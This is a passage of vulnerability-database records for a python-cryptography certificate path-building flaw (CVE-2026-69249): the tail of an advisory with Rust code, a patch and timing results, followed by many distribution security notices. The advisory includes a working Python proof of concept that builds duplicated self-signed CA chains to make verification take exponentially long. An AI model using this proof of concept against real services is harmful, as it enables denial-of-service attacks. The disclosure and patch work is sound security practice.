ValidationResult\u003c'chain, Chain\u003c'chain, B\u003e, B\u003e {\n        if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n        }\n\n        // Look in the store's root set to see if the working cert is listed.\n        // If it is, we've reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain's length, not the root or leaf.\n        if current_depth \u003e self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option\u003cValidationError\u003c'_, B\u003e\u003e = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                \u0026issuer_extensions,\n            ) {\n                Ok(_) =\u003e {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c'chain, B\u003e\u003e::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) =\u003e {\n                      if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s,       -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s,       -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s,       -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.","status":"published","published":"2026-08-04T11:34:47.857042Z","modified":"2026-08-04T14:30:26.222821809Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"RHSA-2026:55543","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-29T10:06:17Z","modified":"2026-10-20T10:11:20Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:64774","title":"Red Hat Security Advisory: python3.14-cryptography security update","status":"published","published":"2026-09-08T10:18:57Z","modified":"2026-10-15T10:23:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:64795","title":"Red Hat Security Advisory: python3.14-cryptography security update","status":"published","published":"2026-09-08T10:19:07Z","modified":"2026-10-15T10:23:39Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:71658","title":"Red Hat Security Advisory: python-cryptography security update","status":"published","published":"2026-09-25T10:15:46Z","modified":"2026-10-15T10:25:57Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:71659","title":"Red Hat Security Advisory: python-cryptography security update","status":"published","published":"2026-09-25T10:15:46Z","modified":"2026-10-15T10:25:58Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RLSA-2026:64774","title":"Important: python3.14-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n\n* python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-09-09T12:05:17.368443Z","modified":"2026-09-09T12:30:02.594113012Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.449929Z"},{"id":"RLSA-2026:64795","title":"Important: python3.14-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n\n* python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-09-09T12:09:16.585859Z","modified":"2026-09-09T12:30:03.359352755Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.449929Z"},{"id":"RLSA-2026:71658","title":"Important: python-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-09-26T12:12:16.981828Z","modified":"2026-09-26T12:45:02.551983072Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.449929Z"},{"id":"UBUNTU-CVE-2026-69249","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T22:16:00Z","modified":"2026-09-17T19:54:57.302106748Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:57.159276Z"},{"id":"ALSA-2026:64774","title":"Important: python3.14-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n  * python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-09-08T00:00:00Z","modified":"2026-10-29T11:32:37.148160578Z","updated_at":"2026-11-02T15:27:55.200553Z"},{"id":"ALSA-2026:64795","title":"Important: python3.14-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n  * python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-09-08T00:00:00Z","modified":"2026-10-29T11:30:48.342379647Z","updated_at":"2026-11-02T15:27:55.200553Z"},{"id":"ALSA-2026:71658","title":"Important: python-cryptography security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-09-24T00:00:00Z","modified":"2026-10-29T11:30:50.220885057Z","updated_at":"2026-11-02T15:27:55.200553Z"},{"id":"AZL-94584","title":"CVE-2026-69249 affecting package python-cryptography for versions less than 42.0.5-6","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T22:16:52Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:26.077208Z"},{"id":"CLSA-2026-1788513782","title":"TuxCare security update for cryptography (2 CVEs)","description":"TuxCare rebuilt cryptography to address 2 CVEs. Fixed in 46.0.7.post2+tuxcare.","status":"published","published":"2026-09-04T09:23:02Z","modified":"2026-10-15T09:48:01.235019539Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1789017625","title":"TuxCare security update for cryptography (2 CVEs)","description":"TuxCare rebuilt cryptography to address 2 CVEs. Fixed in 45.0.7.post4+tuxcare.","status":"published","published":"2026-09-10T05:20:25Z","modified":"2026-10-15T09:48:01.349202143Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789365078","title":"TuxCare security update for cryptography (2 CVEs)","description":"TuxCare rebuilt cryptography to address 2 CVEs. Fixed in 44.0.3.post4+tuxcare.","status":"published","published":"2026-09-14T05:51:18Z","modified":"2026-10-15T09:48:01.352668214Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789377631","title":"TuxCare security update for cryptography (1 CVE)","description":"TuxCare rebuilt cryptography to address 1 CVE. Fixed in 43.0.1.post2+tuxcare.","status":"published","published":"2026-09-14T09:20:31Z","modified":"2026-10-15T09:48:01.551199926Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789377744","title":"TuxCare security update for cryptography (1 CVE)","description":"TuxCare rebuilt cryptography to address 1 CVE. Fixed in 42.0.8.post3+tuxcare.","status":"published","published":"2026-09-14T09:22:24Z","modified":"2026-10-15T09:48:01.452190634Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789379340","title":"TuxCare security update for cryptography (1 CVE)","description":"TuxCare rebuilt cryptography to address 1 CVE. Fixed in 42.0.0.post2+tuxcare.","status":"published","published":"2026-09-14T09:49:00Z","modified":"2026-10-15T09:48:01.604965338Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789552762","title":"TuxCare security update for cryptography (1 CVE)","description":"TuxCare rebuilt cryptography to address 1 CVE. Fixed in 43.0.3.post4+tuxcare.","status":"published","published":"2026-09-16T09:59:22Z","modified":"2026-10-15T09:48:01.948869201Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:21685-1","title":"Security update for python-cryptography","description":"This update for python-cryptography fixes the following issues:\n\n- CVE-2026-69247: PKCS#7 `EnvelopedData` decryption exposes a Bleichenbacher oracle through distinguishable errors and\n  timing (bsc#1273551).\n- CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from `permittedSubtrees` (bsc#1273549).\n- CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).\n","status":"published","published":"2026-08-30T14:35:57Z","modified":"2026-08-31T18:15:04.189850613Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23196-1","title":"Security update for python-cryptography","description":"This update for python-cryptography fixes the following issues:\n\n- CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).\n- CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).\n","status":"published","published":"2026-08-19T11:18:18Z","modified":"2026-08-24T18:23:34.568085586Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23247-1","title":"Security update for python-cryptography","description":"This update for python-cryptography fixes the following issues:\n\n- CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).\n- CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).\n","status":"published","published":"2026-08-19T10:57:12Z","modified":"2026-08-27T18:23:11.690372284Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23404-1","title":"Security update for python-cryptography","description":"This update for python-cryptography fixes the following issues:\n\n- CVE-2026-69247: PKCS#7 `EnvelopedData` decryption exposes a Bleichenbacher oracle through distinguishable errors and\n  timing (bsc#1273551).\n- CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from `permittedSubtrees` (bsc#1273549).\n- CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).\n","status":"published","published":"2026-08-30T14:38:11Z","modified":"2026-09-10T18:23:15.35587559Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23570-1","title":"Security update for python-cryptography","description":"This update for python-cryptography fixes the following issues:\n\n- CVE-2026-69247: PKCS#7 `EnvelopedData` decryption exposes a Bleichenbacher oracle through distinguishable errors and\n  timing (bsc#1273551).\n- CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from `permittedSubtrees` (bsc#1273549).\n- CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).\n","status":"published","published":"2026-08-30T14:38:11Z","modified":"2026-09-29T18:23:09.292591015Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"USN-8776-1","title":"python-cryptography vulnerabilities","description":"It was discovered that python-cryptography incorrectly accepted objects\nwith immutable buffers when performing certain cipher operations. This\nwould result in corrupted output, contrary to expectations. This issue only\naffected Ubuntu 18.04 LTS. (CVE-2023-23931)\n\nIt was discovered that python-cryptography reported the outcome of\ndecrypting PKCS#7 enveloped data in distinguishable ways, and with\nobservable timing differences. A remote attacker could possibly use this\nissue to recover the key used to encrypt the message contents, and obtain\nsensitive information. This issue only affected Ubuntu 26.04 LTS.\n(CVE-2026-69247)\n\nJack Lloyd discovered that python-cryptography incorrectly handled wildcard\nDNS names when enforcing the name constraints of a certificate authority. A\nremote attacker could possibly use this issue to have an invalid\ncertificate chain accepted, and use names outside of the permitted ones.\nThis issue only affected Ubuntu 26.04 LTS. (CVE-2026-69248)\n\nSamuel Judson discovered that python-cryptography incorrectly handled\ncertificate chains that contained duplicate certificates. A remote attacker\ncould possibly use this issue to cause python-cryptography to use excessive\nresources, leading to a denial of service. This issue only affected Ubuntu\n26.04 LTS. (CVE-2026-69249)","status":"published","published":"2026-09-16T20:12:52Z","modified":"2026-09-17T19:56:37.349117888Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}
